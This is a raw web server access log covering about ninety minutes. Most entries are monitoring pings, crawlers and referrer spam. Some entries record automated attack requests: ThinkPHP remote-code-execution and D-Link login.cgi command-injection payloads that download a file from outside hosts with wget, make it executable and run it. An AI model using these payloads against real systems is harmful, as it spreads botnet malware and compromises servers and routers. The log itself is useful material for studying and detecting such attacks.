212.91.246.72 - - [14/Feb/2020:12:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.32.176.107 - - [14/Feb/2020:12:32:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:12:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.157.29.217 - - [14/Feb/2020:12:33:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:12:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.193.219.42 - - [14/Feb/2020:12:35:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
120.193.219.42 - - [14/Feb/2020:12:35:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:12:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.231.154.134 - - [14/Feb/2020:12:37:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:12:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [14/Feb/2020:12:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.85.91.19 - - [14/Feb/2020:12:39:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:12:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [14/Feb/2020:12:44:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [14/Feb/2020:12:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.76.154.34 - - [14/Feb/2020:12:45:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:12:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [14/Feb/2020:12:46:21 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.143.220.189 - - [14/Feb/2020:12:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [14/Feb/2020:12:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [14/Feb/2020:12:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [14/Feb/2020:12:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [14/Feb/2020:12:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [14/Feb/2020:12:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.159.253.34 - - [14/Feb/2020:12:56:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:12:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.90.200.28 - - [14/Feb/2020:13:00:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [14/Feb/2020:13:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.126.142 - - [14/Feb/2020:13:06:01 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [14/Feb/2020:13:06:02 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [14/Feb/2020:13:06:02 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
212.91.246.72 - - [14/Feb/2020:13:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [14/Feb/2020:13:10:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:13:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.234.136.142 - - [14/Feb/2020:13:15:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
92.254.184.183 - - [14/Feb/2020:13:15:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:13:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.18.13.249 - - [14/Feb/2020:13:17:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:13:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.120 - - [14/Feb/2020:13:20:43 +0100] "GET /seiten/produkte.htm HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [14/Feb/2020:13:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [14/Feb/2020:13:40:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [14/Feb/2020:13:40:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [14/Feb/2020:13:41:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [14/Feb/2020:13:41:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:13:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [14/Feb/2020:13:42:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [14/Feb/2020:13:42:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:13:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [14/Feb/2020:13:42:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [14/Feb/2020:13:42:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [14/Feb/2020:13:43:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:13:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.220.12 - - [14/Feb/2020:13:48:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:13:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.242.136 - - [14/Feb/2020:13:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:13:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.48.55 - - [14/Feb/2020:13:50:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:13:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.24.163 - - [14/Feb/2020:13:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
121.161.99.72 - - [14/Feb/2020:13:53:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [14/Feb/2020:13:53:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [14/Feb/2020:13:53:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [14/Feb/2020:13:53:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
178.93.63.120 - - [14/Feb/2020:13:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:13:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [14/Feb/2020:13:53:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
86.81.45.117 - - [14/Feb/2020:13:53:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
86.81.45.117 - - [14/Feb/2020:13:53:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:13:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [14/Feb/2020:13:55:51 +0100] "GET / HTTP/1.1" 200 1229 "https://healthhacks.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.171.190 - - [14/Feb/2020:13:55:51 +0100] "GET / HTTP/1.1" 200 1229 "https://healthhacks.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.171.190 - - [14/Feb/2020:13:55:51 +0100] "GET / HTTP/1.1" 200 1229 "https://healthhacks.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
212.91.246.72 - - [14/Feb/2020:13:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.180.197.10 - - [14/Feb/2020:13:57:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"
190.122.159.70 - - [14/Feb/2020:13:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:13:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:13:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:14:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.124.39 - - [14/Feb/2020:14:00:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
